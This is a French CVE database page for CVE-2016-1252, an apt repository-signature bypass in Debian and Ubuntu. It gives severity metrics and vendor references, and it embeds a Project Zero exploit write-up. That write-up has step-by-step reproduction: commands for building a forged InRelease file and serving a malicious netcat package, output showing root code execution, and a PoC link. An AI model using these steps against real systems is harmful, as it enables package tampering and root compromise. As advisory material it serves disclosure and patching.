CVE-2016-1252 : Détail

CVE-2016-1252

5.9
/
Moyen
Authorization problems
A07-Identif. and Authent. Fail
5.96%V4
Network
2017-12-05
15h00 +00:00
2017-12-05
14h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

The apt package in Debian jessie before 1.0.9.8.4, in Debian unstable before 1.4~beta2, in Ubuntu 14.04 LTS before 1.0.1ubuntu2.17, in Ubuntu 16.04 LTS before 1.2.15ubuntu0.2, and in Ubuntu 16.10 before 1.3.2ubuntu0.1 allows man-in-the-middle attackers to bypass a repository-signing protection mechanism by leveraging improper error handling when validating InRelease file signatures.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-295 Improper Certificate Validation
The product does not validate, or incorrectly validates, a certificate.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.9 MEDIUM CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 40916

Date de publication : 2016-12-13 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1020 == Vulnerability == When apt-get updates a repository that uses an InRelease file (clearsigned Release files), this file is processed as follows: First, the InRelease file is downloaded to disk. In a subprocess running the gpgv helper, "apt-key verify" (with some more arguments) is executed through the following callchain: gpgv.cc:main -> pkgAcqMethod::Run -> GPGVMethod::URIAcquire -> GPGVMethod::VerifyGetSigners -> ExecGPGV ExecGPGV() splits the clearsigned file into payload and signature using SplitClearSignedFile(), calls apt-key on these two files to perform the cryptographic signature verification, then discards the split files and only retains the clearsigned original. SplitClearSignedFile() ignores leading and trailing garbage. Afterwards, in the parent process, the InRelease file has to be loaded again so that its payload can be processed. At this point, the code isn't aware anymore whether the Release file was clearsigned or split-signed, so the file is opened using OpenMaybeClearSignedFile(), which first attempts to parse the file as a clearsigned (InRelease) file and extract the payload, then falls back to treating the file as the file as a split-signed (Release) file if the file format couldn't be recognized. The weakness here is: If an attacker can create an InRelease file that is parsed as a proper split-signed file during signature validation, but then isn't recognized by OpenMaybeClearSignedFile(), the "leading garbage" that was ignored by the signature validation is interpreted as repository metadata, bypassing the signing scheme. It first looks as if it would be impossible to create a file that is recognized as split-signed by ExecGPGV(), but isn't recognized by OpenMaybeClearSignedFile(), because both use the same function, SplitClearSignedFile(), for parsing the file. However, multiple executions of SplitClearSignedFile() on the same data can actually have different non-error results because of a bug. SplitClearSignedFile() uses getline() to parse the input file. A return code of -1, which signals that either EOF or an error occured, is always treated as EOF. The Linux manpage only lists EINVAL (caused by bad arguments) as possible error code, but because the function allocates (nearly) unbounded amounts of memory, it can actually also fail with ENOMEM if it runs out of memory. Therefore, if an attacker can cause the address space in the main apt-get process to be sufficiently constrained to prevent allocation of a large line buffer while the address space of the gpgv helper process is less constrained and permits the allocation of a buffer with the same size, the attacker can use this to fake an end-of-file condition in SplitClearSignedFile() that causes the file to be parsed as a normal Release file. A very crude way to cause such a constraint on a 32-bit machine is based on abusing ASLR. Because ASLR randomizes the address space after each execve(), thereby altering how much contiguous virtual memory is available, an allocation that attempts to use the average available virtual memory should ideally succeed 50% of the time, resulting in an upper limit of 25% for the success rate of the whole attack. (That's not very effective, and a real attacker would likely want a much higher success rate, but it works for a proof of concept.) This is not necessarily a limitation of the vulnerability, just a limitation of the way the exploit is designed. I think that it would make sense to fix this as follows: - Set errno to 0 before calling getline(), verify that it's still 0 after returning -1, treat it as an error if errno isn't 0 anymore. - Consider splitting the InRelease file only once, before signature validation, and then deleting the original clearsigned file instead of the payload file. This would get rid of the weakness that the file is parsed twice and parsing differences can have security consequences, which is a pretty brittle design. - I'm not sure whether this bug would have been exploitable if the parser for split files or the parser for Release files had been stricter. You might want to consider whether you could harden this code that way. == Reproduction instructions == These steps are probably more detailed than necessary. First, prepare a clean Debian VM for the victim: - download debian-8.6.0-i386-netinst.iso (it is important that this is i386 and not amd64) - install Virtualbox (I'm using version 4.6.36 from Ubuntu) - create a new VM with the following properties: - type "Linux", version "Debian (32-bit)" - 8192 MB RAM (this probably doesn't matter much, especially if you enable swap) - create a new virtual harddrive, size 20GB (also doesn't matter much) - launch the VM, insert the CD - pick graphical install - in the installer, use defaults everywhere, apart from enabling Xfce in the software selection After installation has finished, log in, launch a terminal, "sudo nano /etc/apt/sources.list", change the "deb" line for jessie-updates so that it points to some unused port on the host machine instead of the proper mirror ("deb http://192.168.0.2:1337/debian/ jessie-updates main" or so). This simulates a MITM attack or compromised mirror. On the host (as the attacker): $ tar xvf apt_sig_bypass.tar apt_sig_bypass/ apt_sig_bypass/debian/ apt_sig_bypass/debian/netcat-evil.deb apt_sig_bypass/debian/dists/ apt_sig_bypass/debian/dists/jessie-updates/ apt_sig_bypass/debian/dists/jessie-updates/InRelease.part1 apt_sig_bypass/debian/dists/jessie-updates/main/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/ apt_sig_bypass/debian/dists/jessie-updates/main/binary-i386/Packages apt_sig_bypass/make_inrelease.py $ cd apt_sig_bypass/ $ curl --output debian/dists/jessie-updates/InRelease.part2 http://ftp.us.debian.org/debian/dists/jessie-updates/InRelease % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 141k 100 141k 0 0 243k 0 --:--:-- --:--:-- --:--:-- 243k $ ./make_inrelease.py $ ls -lh debian/dists/jessie-updates/InRelease -rw-r--r-- 1 user user 1.3G Dec 5 17:13 debian/dists/jessie-updates/InRelease $ python -m SimpleHTTPServer 1337 . Serving HTTP on 0.0.0.0 port 1337 ... Now, in the VM, as root, run "apt-get update". It will probably fail - run it again until it doesn't fail anymore. The errors that can occur are "Clearsigned file isn't valid" (when the allocation during gpg verification fails) and some message about a hash mismatch (when both allocations succeed). After "apt-get update" has succeeded, run "apt-get upgrade" and confirm the upgrade. The result should look like this (server IP censored, irrelevant output removed and marked with "[...]"): root@debian:/home/user# apt-get update Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease [...] 100% [1 InRelease gpgv 1,342 MB] 28.6 MB/s 0sSplitting up /var/lib/apt/lists/partial/{{{SERVERIP}}}:1337_debian_dists_jessie-updates_InRelease intIgn http://{{{SERVERIP}}}:1337 jessie-updates InRelease E: GPG error: http://{{{SERVERIP}}}:1337 jessie-updates InRelease: Clearsigned file isn't valid, got 'NODATA' (does the network require authentication?) root@debian:/home/user# apt-get update [...] Get:1 http://{{{SERVERIP}}}:1337 jessie-updates InRelease [1,342 MB] [...] Hit http://ftp.us.debian.org jessie-updates InRelease Get:4 http://{{{SERVERIP}}}:1337 jessie-updates/main i386 Packages [170 B] [...] Fetched 1,349 MB in 55s (24.4 MB/s) Reading package lists... Done root@debian:/home/user# apt-get upgrade Reading package lists... Done Building dependency tree Reading state information... Done Calculating upgrade... Done The following packages will be upgraded: netcat-traditional 1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Need to get 666 B of archives. After this operation, 109 kB disk space will be freed. Do you want to continue? [Y/n] Get:1 http://{{{SERVERIP}}}:1337/debian/ jessie-updates/main netcat-traditional i386 9000 [666 B] Fetched 666 B in 0s (0 B/s) Reading changelogs... Done dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing description dpkg: warning: parsing file '/var/lib/dpkg/tmp.ci/control' near line 5 package 'netcat-traditional': missing maintainer (Reading database ... 86469 files and directories currently installed.) Preparing to unpack .../netcat-traditional_9000_i386.deb ... arbitrary code execution reached uid=0(root) gid=0(root) groups=0(root) [...] As you can see, if the attacker gets lucky with the ASLR randomization, there are no security warnings and "apt-get upgrade" simply installs the malicious version of the package. (The dpkg warnings are just because I created a minimal package file, without some of the usual information.) Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40916.zip

Products Mentioned

Configuraton 0

Debian>>Advanced_package_tool >> Version To (excluding) 1.0.9.8.4

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 16.10

Références

https://www.debian.org/security/2016/dsa-3733
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.ubuntu.com/usn/USN-3156-1
Tags : vendor-advisory, x_refsource_UBUNTU
https://www.exploit-db.com/exploits/40916/
Tags : exploit, x_refsource_EXPLOIT-DB
Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.